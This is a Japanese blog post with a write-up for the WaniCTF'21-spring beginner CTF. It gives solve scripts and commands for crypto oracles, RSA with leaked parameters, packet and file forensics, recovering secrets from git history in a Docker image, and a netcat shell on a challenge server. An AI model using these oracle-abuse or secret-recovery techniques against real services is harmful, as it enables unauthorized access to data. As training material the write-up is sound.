TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

WaniCTF'21-spring Writeup

WaniCTF'21-spring について

WaniCTF'21-spring が開催されました。
2021年4月30日午前10時 ~ 2021年5月2日午後8時(58時間)

score.wanictf.org

wanictf.org

WaniCTF は大阪大学 CTF サークル Wani Hackase が開催する初心者向けの CTF です。 picoCTF 同様に難易度は易しく、初心者向けな難易度でした。
個人形式なので、1人で参加しました。結果は、13/353位で 6320点でした。 33問中 30問解くことができたので、その Writeup を紹介します。

f:id:tsalvia:20210503104755p:plain

f:id:tsalvia:20210503104542p:plain

f:id:tsalvia:20210503104423p:plain

WaniCTF'21-spring Writeup(30問)

Crypto

Simple conversion

戻し方を忘れました…
cry-simple-conversion.zip

数値を文字列に変換するだけ

from Crypto.Util.number import long_to_bytes
flag = long_to_bytes(709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229)
print(flag)
$ python3 solve.py
b'FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'

FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}

Easy

手始めに
cry-easy.zip

encrypt.py は、以下のようになっている。
A と B がマスクされている。またフラグは、1文字ずつ暗号化されている。

with open("flag.txt") as f:
    flag = f.read().strip()


A = REDACTED
B = REDACTED

plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"

assert all(x in plaintext_space for x in flag)


def encrypt(plaintext: str, a: int, b: int) -> str:
    ciphertext = ""
    for x in plaintext:
        if "A" <= x <= "Z":
            x = ord(x) - ord("A")
            x = (a * x + b) % 26
            x = chr(x + ord("A"))
        ciphertext += x

    return ciphertext


if __name__ == "__main__":
    ciphertext = encrypt(flag, a=A, b=B)
    print(ciphertext)

次に、output.txt を見てみると、以下のようになっていた。

HLIM{OCLSAQCZASPYFZASRILLCVMC}

よって、HLIMFLAG になる A と B のパターンを見つけて、復号すればよい。

import itertools

def search_ab():
    for a, b in itertools.product(range(100), repeat=2):
        i = 0
        for c, m in zip('HLIM', 'FLAG'):
            x = ord(m) - ord('A')
            x = (a * x + b) % 26

            if x == ord(c) - ord('A'):
                i += 1

        if i == 4:
            break
    return a, b

def decrypt(ciphertext: str, a: int, b: int) -> str:
    plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"

    plaintext = ''
    for c in ciphertext:
        if 'A' <= c <= 'Z':
            mid_x1 = ord(c) - ord('A')
            for p in plaintext_space:
                x = ord(p) - ord('A')
                mid_x2 = (a * x + b) % 26

                if mid_x1 == mid_x2:
                    break
            plaintext += p
        else:
            plaintext += c

    return plaintext

def main():
    a, b = search_ab()
    print(f'{a = }, {b = }')

    with open('output.txt', 'r') as f:
        enc_flag = f.read()

    flag = decrypt(enc_flag, a, b)
    print(flag)

if __name__ == '__main__':
    main()
$ python solve.py
a = 5, b = 8
FLAG{WELCOMETOCRYPTOCHALLENGE}

FLAG{WELCOMETOCRYPTOCHALLENGE}

Can't restore the flag?

ちりつもですよ
nc crt.cry.wanictf.org 50000 cry-cant-restore-the-flag.zip

フラグの剰余結果を返すスクリプトになっていた。 入力値が300以下になるように制限されている。ただし、負の数に対する制限はない。

from Crypto.Util.number import bytes_to_long

with open("flag.txt", "rb") as f:
    flag = f.read()
flag = bytes_to_long(flag)

assert flag <= 10 ** 103

upper_bound = 300
while True:
    try:
        mod = int(input("Mod > "))
        if mod > upper_bound:
            print("Don't cheat 🤪")
            continue

        result = flag % mod
        print(result)
    except Exception:
        print("Bye 👋")
        break

フラグの値 * -1 より小さい値を入力すると、以下のようになる。

$ nc crt.cry.wanictf.org 50000
Mod > -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
-999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910

Python の場合、mod - result をすれば、元のフラグに戻すことができる。

from Crypto.Util.number import long_to_bytes

mod = -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
result = -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910

flag = long_to_bytes(result - mod).decode()
print(flag)
$ python3 solve.py 
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

Extra

いつものRSA
cry-extra.zip

encrypt.py を見ると、以下のようになっていた。

from Crypto.Util.number import getPrime, bytes_to_long

with open("flag.txt", "rb") as f:
    flag = f.read()

p, q = getPrime(1024), getPrime(1024)
N = p * q
M = 2 * p + q
e = 0x10001


def encrypt(plaintext: bytes) -> int:
    plaintext = bytes_to_long(plaintext)
    c = pow(plaintext, e, N)

    return c


if __name__ == "__main__":
    c = encrypt(flag)

    print(f"{N = }")
    print(f"{M = }")
    print(f"{e = }")
    print(f"{c = }")

以下のような N と M の値が公開されている。

\begin{eqnarray}
N &=& p\cdot q \\
M &=& 2p + q \\
\end{eqnarray}

よって、以下の2次方程式を解けば p が判明する。


-2p^{2} + Mp - N \\

p が分かれば、あとは通常通り RSA で復号するだけ。

import sympy
from Crypto.Util.number import inverse, long_to_bytes

N = 22255382023772668851018179427844169178508638456713544208965498667359965716247243217931028270320680101854437928939452335472153643094266035953797432826168426002458800906764442624308120284177094975740468163835305872963635678413995878812492729432260346481442092245748885202467992527408086207041964831622724073720751839241897580988210971776031098476500998975223039782371635291859483569580516707907602619018780393060215756966917504096971372578145138070121288608502379649804953835336933545368863853793291348412017384228807171466141787383764812064465152885522264261710104646819565161405416285530129398700414912821358924882993
M = 455054308184393892678058040417894434538147052966484655368629806848690951585316383741818991249942897131402174931069148907410409095241197004639436085265522674198117934494409967755516107042868190564732371162423204135770802585390754508661199283919569348449653439331457503898545517122035939648918370853985174413495
e = 65537
c = 17228720052381175899005296327529228647857019551986416863927209013417483505116054978735086007753554984554590706212543316457002993598203960172630351581308428981923248377333772786232057445880572046104706039330059467410587857287022959518047526287362946817619717880614820138792149370198936936857422116461146587380005750298216662907558653796277806259062461884502203484610534512552197338982682870358910558302016481352035443274153409114492025483995668048818103066011831955626539382173160900595378864729936791103356604330731386911513668727994911216530875480647283550078311836214338646991447576725034118526046292574067040720093

sympy.var('x')

fx = -2*x**2 + M*x - N

answers = sympy.solve(fx, x)
for ans in answers:
    print('p =', ans)

p = int(answers[1])
q = N // p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(c, d, N)
flag = long_to_bytes(m)
print(flag)
$ python3 solve.py
p = 142334186062265063219356604202944121242754649133715704144297972545346872221408855701425640596353771233387545377931080775413744238487922734779839556466413299896274963598187720052834744985690699039533532577445584533324042810567244036823175875348131212319476440307897156023046225832535991641744231454550103900877/2
p = 156360061061064414729350718107475156647696201916384475612165917151672039681953764020196675326794562949007314776569034065998332428376637134929798264399554687150921485448111123851340681028588745762599419292488809801223379887411755235919011704285719068065088499511780173937749645644749974003587069699717535256309
b' FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}\n'

FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}

OUCS

OUによるHomomorphicなCryptoSystemです
nc oucs.cry.wanictf.org 50010
cry-oucs.zip

実行すると、以下のようなメニューが表示される。フラグ以外の値を暗号化および復号することができる。

$ nc oucs.cry.wanictf.org 50010

  .oooooo.   ooooo     ooo   .oooooo.    .oooooo..o
 d8P'  `Y8b  `888'     `8'  d8P'  `Y8b  d8P'    `Y8
888      888  888       8  888          Y88bo.
888      888  888       8  888           `"Y8888o.
888      888  888       8  888               `"Y88b
`88b    d88'  `88.    .8'  `88b    ooo  oo     .d8P
 `Y8bood8P'     `YbodP'     `Y8bood8P'  8""88888P'


╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
>

Homomorphic について検索してみると、準同型暗号 - Wikipedia に以下のように書かれていた。

二つの暗号文 Enc(m_1), Enc(m_2) が与えられたときに、平文や秘密鍵なしで  Enc(m_1 \circ m_2) を計算できる。ここで \circ は、加法  + や 乗法  \times のような二項演算子とする。

試しに、Enc(0x1) * Enc(0x2) を計算して復号したところ、0x3 と表示された。
よって、Enc(flag) * Enc(0x1) を復号し、その結果から 0x1 を減算すれば、元のフラグを求めることができる。

$ nc oucs.cry.wanictf.org 50010

  .oooooo.   ooooo     ooo   .oooooo.    .oooooo..o
 d8P'  `Y8b  `888'     `8'  d8P'  `Y8b  d8P'    `Y8
888      888  888       8  888          Y88bo.
888      888  888       8  888           `"Y8888o.
888      888  888       8  888               `"Y88b
`88b    d88'  `88.    .8'  `88b    ooo  oo     .d8P
 `Y8bood8P'     `YbodP'     `Y8bood8P'  8""88888P'


╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 2
Enter your plaintext
> 1
ciphertext = 0x24a79efd1893d36acf6fc4bbfa88439dbc82755a91adc3b0b4c8cb52d052cbd40851708eeab0cb49ce35e9cbec4891dc614f649738135834c2aded6e783e509dbaa4644220bb92655b4ca3bc19e7fe23ffbac8f464d1780139b25bfa068cb5d9ab316cfce4b3d933053f9bea7ca16568a0fa7896484c34a1efeb363bda1b0f915a273d5534ba79b323151d68275b4bc9ce224b571217de5e07d4669bc2cb20f30246a27caa088d8fbbc53e227657fa87f941a37d773b3e7789bedb9efee536eabf812cd7677ce691e553d5a94007180613a04d902daa9aaa7430bbcd69eb3fb1e6c1119b172fb010efd2b55f42f02fdfe0f40d3d28124b365f506c22c1a83f2a507f6e85edb565e6cc2dc59c10568d148761b4915ffff2cd3f12fe7a3a562329fc14f25609b5aaee0c0dfdb788f3abde01d76387399c2485f9f9c89aaf20ba986570822d215c64dad5fdb5069ebdc1b01ca0bf6054823e2f7d6e443fa094c54032266ab740dec9ecd7175f27118b42a0663624b83f4929455a207dad5b82aaf1

╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 2
Enter your plaintext
> 2
ciphertext = 0x3722144289f317dafbd3f037288ae63e7c3ea369275a6b423fd45c27d1549e8ef0294ae718362d9778d8d31384338b43aeea8966fbedd9355e04b2b0b87378e3dece886120f33099c811f50e423c9ec79d9199ed2d831b0fb5d2dc3bae051a72ff56dd9f72260a498590579d6a185072af8875f47ef6e9aa4352562163d6395e204363cbde965b13c4c6b89618b65e3bf9e95eebad76d10c711ca8229672e0f4f7439ae49e97707e157048f1987555ca8eba555b563957e9060a348ec8f8092a924f3db266a4480b6feb27b292d73c18194f86cbff46567b81d8df403489466f9a28e591e2bf66aedfe2c746dc4a72d98d81510aef0dfaa1832d1036c1ce880f7a554c339c9584957af5a9a73265a66c491e955bd03c44f358a2bedc5de8daac7e98743d1a257419c76e3257f4fab1b289b71d7e02107e7b611f3fad9244fdaf7439b02786af752d9eebad66691057a7f8693694c87b7e779f6562bb03950235f99482f90e883ee5770bd4505f4dc91f07b1a05357cf55602253d9a06b00c0e7

╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 3
Enter your ciphertext
> 1040774174773251124988568146951646413754293884494777742666536061894280705293528498559895971596879764012651716381920749330084066872937771978244340311638139158747699547473524035997770136767845297120420523041968622773545023216755327025642449817256832027000743781701381806654461981628857210252525714459085270669619270106994882674341710563230448003326301253137252592394891838212718473482521703252557855926886985309539405200407385661707132113800473557552972641282455189840044099466921506474278054287549214845417382815963342281917523913917735453174459761885197228755221531295334321645938305720035361776619080740010173139636749093600364512273120864448785020865717105975996773108590018817146826192022500053929622437048279634309962985743478958858990712035099005112751974405184230897918411516928053934094194010589677536216642180106347451752030746284930132274902996691488550775313390250222656839220442807885753003667177602581489563898165689551738555961695099083328535565888444455537719620191821095208713351424552947553762736552732990929277110400904150907530260033418316373309444765956464207349001674417362519582322176421704227999450949216113216365720418053241339155776422229062498780978157554838035964668357366034206121163148752051510151319150523746329840240591160414687914915853729271264800151185316458437655649744943513713270561821486185670265429521642567350760302264846975645417617911984580459082648691338699912690326968930455449143161226101181754359966084685498263648357185259620498416239877199334979300964041722081139634843539608233818791478004052666006289508511855528458818905147178559203389547085434953806966531702391941253715646821472757909026211937113761423383568949485337508006381535587447610914420522375393037255612940064490009661080208401211212286668565155939213254758644258428582736413019312642859245557032571730246094345834483977400431357816799095
plaintext = 0x3

スクリプトを書くと以下のようになる。

import nclib
from Crypto.Util.number import long_to_bytes

HOST = 'oucs.cry.wanictf.org'
PORT = 50010

nc = nclib.Netcat((HOST, PORT))

nc.readuntil('> ')
nc.sendline(b'1') # Encrypt flag
enc_flag = int(nc.readline().decode().split('=')[-1], 16)
print(f'enc_flag = 0x{enc_flag:x}')

nc.readuntil('> ')
nc.sendline(b'2') # Encrypt
nc.readuntil('> ')
nc.sendline(b'1') # Encrypt 0x1
enc_0x1 = int(nc.readline().decode().split('=')[-1], 16)
print(f'enc_0x01 = 0x{enc_0x1:x}')

enc_flag_0x1 = enc_flag * enc_0x1
print(f'enc_flag_0x01 = 0x{enc_flag_0x1:x}')

nc.readuntil('> ')
nc.sendline(b'3') # Decrypt
nc.readuntil('> ')
nc.sendline(hex(enc_flag_0x1).encode())
plaintext = int(nc.readline().decode().split('=')[-1], 16)
print(f'plaintext = 0x{plaintext:x}')

flag = long_to_bytes(plaintext - 0x1)
print(flag)

実行すると、フラグを復号することができた。

$ python3 solve.py
enc_flag = 0x4fb28062a733e9ede74add9df7abda0f562ff8a30cdada6a3fb8e11c2a9372d0d8871a1b6cc0bddaba52ceeed69ee6435ac52af4a0c326603cf44aa068445b044fe48e364648297072ddd6049a65ff8f9f8c72d3b4fd41b75eaee67202ba74ccf8311efb0c1e4f89bc14f3eb35585cc212ade2efcc864c7305d5225a62071febcf88678fa715455bc9885d3fc268ba8863c67f2a63898ed97167cfed9ff4451b03aa101c998cf9bd446299049ef82dbcabdc32a4febf137942fab08e2d053622feb359b264b32d092dbe725e9b0a5e81cd2e0b79bf5e4b334fc2c7d81a2fcbae2757a817a370d4aa37ba51ae5d645037276419c546855a6b0874b2b03dd0d59153ce30a2e8991a42f15f1041d694895c92ef1bbbabd0cb79bced32f225e894f755bc674ad8b09a41c8c52be66b4c3bc04a310ee399eb3db1de1be90f1ebc87782116b14fa65ca30072f410865fcb4555038464d996810b712cbaec7f3b7b5349c78fa34544b5c09232fc8aa8c5dd92ebe6455012b168aa8c85a4d772a4ff3c92
enc_0x01 = 0x2dd776c2bde704eb0b65b5b6d49826a57f1b0a994a6e7d7531f45891a93db7829c8817a1559c6fd08a7adc46f41dd65e966dc39cfb0dfa3c2fa96aa8a387e3e534cd9e32eb1bff5ab2103101a98827c8e0613521827f2233a4ea21e8a68fb63394e6d95c3062e55e3119b2a9dd91ed51c84952ce650dc2175e1fb35d88e90d82930cd007914a77b7dceee5c0958a085d82a31ba826371d8693cb6cdb1bef2960545e79b64d64099f1d57ed36d8f7deb72c46cc4d006e16bd125f772e7cf1cb40cec5710583b2b05a79c732435d302b4a7f6d90e35b4fe183f6c28223836d7ced08d434425ec91d16e54cef0dd3483a15c8ce3b182b9a3e29bebc78cdbf260b931e62ebdb138d9c21a71677a5ed7cf66c94239f1b7cdb46c2f40dce7d2d6cedbe709a1221e4d0b2c2f1975c196a7e47931ae117b7522525fdc6b7e786509390ba9c9303a65c76ee62b7477a409f2b47190424aa5f91f978ca6209689823b85e9247f59709e993fa57aec3bcd8a2a9289caab111d0ac4b4a9fa3d16243699fc4b1
enc_flag_0x01 = 0xe45747411d004ef908045f6b6cbd0ecdb2c03c62dde2b142c30a1fac68bbaa52288674d1aa2279b736f9b92a18038f1f13da4db910da18f0176077f34b1f0d88a02dd76f4649c0fbdb5b61ee0cc99f89c2692dcb73bf441e852b5244bd08033d21a7af1e87136b317c3259a8ca06a64ecdd510a3128c62b6394c55065a55568642b39e3a6beb0d27bc8e3311460de591646e0ebabb5b18101c0d2d6539ad8ef52d6a0a1f3bbfb217e3187c6a3e4d6cb13fb5dbde33ed8e0778b659277cd954b3aebf917d1cd7a1023b8607456508835df799d449aa1af7722d0b62eb34391c78c5eef215cfba52e4c79be846da65c2b31387f566db761dfcd0daae16303b20c0527821895aadac1587142438f8940afaf042247d2a3169f6719010856f51c93fe2e1fb37d55d1eb19825bb52d8cf04afa1602aa6b3beb2bdf52d5f403002667ee3e858ab851b597c23f888ff6a08e87a78f49f06300d3b9539cc88b2fef142fbc4f40c852221904862649779c2feed71adc6047124d1a6c8ea474efbe195a4731f13f1deecee872c0819429545b172950999a61a2f2bc75dda6d124774ea0cd731b61ac358244db51b9c71b77a62f18588b4e973b130ea73ea82c9fbe08e235a60a76cca56dd2f8680bb82625d224e35d59ec6fd696321f00aa01e1b73795e98e7a1eb29f0029e643072d2d4e536e639de2d2e8af4d6173e721c28de7335008f66f4defac958ff78ef00f776123959eb97438e956be12add45a4968cfb2bbef147f287d7ed897a0efd7e2b104a9769bc5d01547df75ffe5984f1af1bb377a6f56a993161fe3e45a9e7286709b09524f2cca51464ebe6ad99d32a54c25e3e1a9e11933a05f4453f19d39155f02a23d9ee48751a3aaaefad51f889dcefc2edb7603e1bf8d65263ad8152c7ceb12d9ad7f18f7a0e899176212644200e87262938dd00ab93a310f8542824eec896f150e4789a519ceba437e0879ee21ab17ecbb432f63f29404d7a14728154b9dc9f9b3ccdb9f59fab6651006abd6ee8c134f21b11c636e12af5182c11b96ea69c762a5de878df9676d1d7004befca52bff86a8f2
plaintext = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e
b'FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}'

FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}

Forensics

presentation

このままじゃFLAGをプレゼンできない...
for-presentation.zip

presentation.ppsx を zip として展開し、FLAG という文字列が含まれるファイルを探索してみると、./ppt/slides/slide1.xml に含まれていることが分かった。

$ find . -type f | xargs strings -f | grep FLAG | less -S
./ppt/slides/slide1.xml:  3"><a:extLst><a:ext uri="{FF2B5EF4-FFF2-40B4-BE49-F238E27FC236}"><a16:creationId xmlns:a16="http://schemas.microsoft.com/office/drawing/2014/main" id="{D20E0E16-856A-4D90-B526-357B102A98A1}"/></a:ext></a:extLst></p:cNvPr><p:cNvSpPr txBox="1"/><p:nvPr/></p:nvSpPr><p:spPr><a:xfrm><a:off x="0" y="2716696"/><a:ext cx="12192000" cy="769441"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom><a:noFill/></p:spPr><p:txBody><a:bodyPr wrap="square" rtlCol="0"><a:spAutoFit/></a:bodyPr><a:lstStyle/><a:p><a:pPr algn="ctr"/><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>FLAG{</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0" err="1"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>you_know_how_to_edit_ppsx</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>}</a:t></a:r><a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:endParaRPr></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="

該当するタグを抜き出して整形すると、以下のようになっており、フラグが書かれていた。

<a:p>
    <a:pPr algn="ctr"/>
    <a:r>
        <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0">
            <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
            <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        </a:rPr>
        <a:t>FLAG{</a:t>
    </a:r>
    <a:r>
        <a:rPr kumimoji="1" lang="en-US" altLang=gg"ja-JP" sz="4400" b="1" dirty="0" err="1">
            <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
            <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        </a:rPr>
        <a:t>you_know_how_to_edit_ppsx</a:t>
    </a:r>
    <a:r>
        <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0">
            <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
            <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        </a:rPr>
        <a:t>}</a:t>
    </a:r>
    <a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0">
        <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
        <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/>
    </a:endParaRPr>
</a:p>

FLAG{you_know_how_to_edit_ppsx}

MixedUSB

USBにパーティションを設定したら、どこにFLAGを保存しているのかわからなくなってしまいました...
MixedUSB.img

ダウンロードしてきて、strings するだけ

$ strings MixedUSB.img | grep FLAG
FLAG    TXT
FLAG{mixed_file_allocation_table}

secure document

本日の資料は以下を入力して圧縮しました。
the password for today is nani
for-secure-document.zip

flag_20210328.zip と password-generator の2つのファイルが与えられている。

flag_20210328.zip は、パスワード付きzipで暗号化されている。
password-generator は、以下のようになっていた。

::the::
Send, +wani
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd
SendInput, {home}{right 4}_%x%
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni::
Send, ^a^c{Esc}{home}password{:} {end}
return

Google"Send" "return" "FormatTime" "SendInput" "Esc" と検索すると、AutoHotkey が出てきた。

以下のように作業を行ったところ、パスワードっぽい文字列が表示された。

  1. AutoHotkey をインストールする。
  2. password-generator を password-generator.ahk にリネームする。
  3. password-generator.ahk をダブルクリックで実行する。
  4. メモ帳等のテキストエディタを開く。
  5. the password for today is nani と入力すると、
    password: Wan1_20210430_C7F!na! と表示された。

20210430 のところは、作業を行った日付になっている。 zip 内のファイルの更新日時を確認してみると、2021-04-28 03:03 になっていた。

よって、flag_20210328.zip のパスワードは、Wan1_20210428_C7F!na! だと判明した。
zip を展開して、画像ファイルを開いてみると、フラグが書かれていた。

FLAG{Nani!very_strong_password!}

illegal image

裏で画像がやり取りされているらしい
for-illegal-image.zip

画像がやり取りされているとのことなので、JPEG ヘッダの FFD8FFE0 で検索してみたところ、ICMP パケット内に JPEG ヘッダの値が見つかった。

f:id:tsalvia:20210503064701p:plain

複数の ICMP パケットに分割されているようなので、tshark で切り出して画像を抽出した。

$ tshark -r illegal_image.pcap -T fields -e data.data icmp.type==8 | tr -d "\n" | xxd -r -p > icmp_data.jpg

抽出した画像を開いてみると、フラグが書かれていた。

FLAG{ICMP_Exfiltrate_image}

slow

宇宙からメッセージが届きました。(※音量注意!)
for-slow.zip

slow.wav を聞いてみると、ピーピーピロリ―という音が初めに聞こえてくる。 また、宇宙、slow というキーワードから、アマチュア無線の画像通信で使用される SSTV(Slow Scan Television)だと分かる。

RX-SSTV を使って音声を画像に変換したところ、フラグが表示された。

f:id:tsalvia:20210503070022p:plain
※ 備考: VB-CABLE のような仮想オーディオデバイスでPC内音声をマイクに流してあげると、きれいな画像に変換させやすい。

FLAG{encoded_by_slow-scan_television}

Misc

binary

文字も所詮1と0の集合です。
sample.pyを参考に復号器を作ってみてください。
mis-binary.zip

binary.csvCyberChef の From Binary で文字列に変換するだけ

FLAG{the_basic_knowledge_of_communication}

Git Master

https://hub.docker.com/r/wanictf21spring/nginx_on_ubuntu
ホームページをみんなで開発したいので、イメージを公開するです。
昔、秘密の文字列をコミットしたことがあるけど大丈夫だよね...?

DockerHub から pull してコンテナを起動させる。

$ docker pull wanictf21spring/nginx_on_ubuntu:latest
$ docker run -it --rm -v /tmp:/tmp wanictf21spring/nginx_on_ubuntu:latest /bin/bash

.git ディレクトリをマウントしておいた /tmp 経由で取り出す。

$ find / -type d -name ".git" -not -path "/tmp/*"
/var/www/.git
$ cp -r /var/www/.git /tmp 

git コマンドの cat-file を使ってすべてのファイルのデータを抽出する。

$ for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt

strings で確認していくと、分割されたフラグの文字列が確認できた。

$ strings output.txt | grep FLAG
FLAG{y0u_

$ strings output.txt

# snip

100644 blob 60ca0b1f76d898f5c11a381592d5c37385bebea8    Flag.txt
040000 tree 2bfd1c362f310a7fbb2be6fd3546819d456b4499    assets
100644 blob 737f9d108236e05f619c40963e92285bb643663a    favicon.ico
100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae    index.html
tree 79c413edb2d73bad622242e1644709f70b5da3d2
parent 058a5020310afc637ee59cf3dfc371d2be91b4d0
author wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900
committer wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900
initialization of html/index.html
100644 blob 737f9d108236e05f619c40963e92285bb643663a    favicon.ico
100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae    index.html
_m45t3r}
tree cb29ddc5d574be325a2485fbb71bc1f00ce7208c
parent e4c9da8d153ceb2efdc7521ac71d522ca7ca5fb7
author wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900
committer wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900
initialization of html/favicon.ico
tree 6a784d9649db84ce32196cfc5091303a87042467
author okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900
committer okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900
initialization of Dockerfile
100644 blob 14a76c6030cf11b6241f0df80480ce5cdf3db695    main.css
4r3_p3rf3c7_g1t
100644 blob 428833073ab18a3890a89de8c8066969baa0a295    Dockerfile
100644 blob 6919be129dd806595762632b6ca24ebab8fe593e    docker-compose.yml

FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}

ASK

Amplitude Shift Keying
mis-ask.zip

ask.csv の改行を削除して見てみると、0 や 1 が連続している箇所が多くみられた。
問題文から 0 と 1 を増幅させているのだと思われる。

よって、 CyberChef で ask.csv を以下のように変換してみると、フラグが表示された。

  1. 改行を削除する。
  2. 0000000000000000000000000000000 を 0 に変換する。
  3. 1111111111111111111111111111111 を 1 に変換する。
  4. バイナリを文字列に変換する。
  5. strings で可読文字列のみ抽出する。

CyberChef レシピ

Remove_whitespace(true,true,true,true,true,false)
Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false)
From_Binary('Space',8)
Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)

FLAG{als0-k0own-4s-0n-0ff-key1ng}

Manchester

Manchester Encoding
mis-manchester.zip

Manchester Encoding について調べてみると、Clock に合わせて 2bit ずつ XOR を取るらしいということが分かった。

ja.wikipedia.org

よって、ASK と同じように 0 と 1 の増幅を戻した後、 CyberChef で以下のように変換すると、フラグが表示された。

  1. 00 を削除する
  2. 10 と 11 を 1 に変換する
  3. 01 を 0 に変換する
  4. バイナリを文字列に変換する。
  5. strings で可読文字列のみ抽出する。

CyberChef レシピ

Remove_whitespace(true,true,true,true,true,false)
Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false)
Regular_expression('User defined','[01]{2}',true,true,false,false,false,false,'List matches')
Find_/_Replace({'option':'Regex','string':'00'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'10|11'},'1',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'01'},'0',true,false,true,false)
From_Binary('Space',8)
Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)

FLAG{avoiding-consective-ones-and-zeros}

Pwn

01 netcat

nc netcat.pwn.wanictf.org 9001
・netcat (nc)と呼ばれるコマンドを使うだけです。
・つないだら何も出力されなくても知っているコマンドを打ってみましょう。

使用ツール例
netcat (nc)

gccのセキュリティ保護
・Full RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)有効

pwn-01-netcat.zip

netcat で接続すると、シェルにアクセスすることができた。

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}

FLAG{this_is_the_same_netcat_problem_as_previous_one}

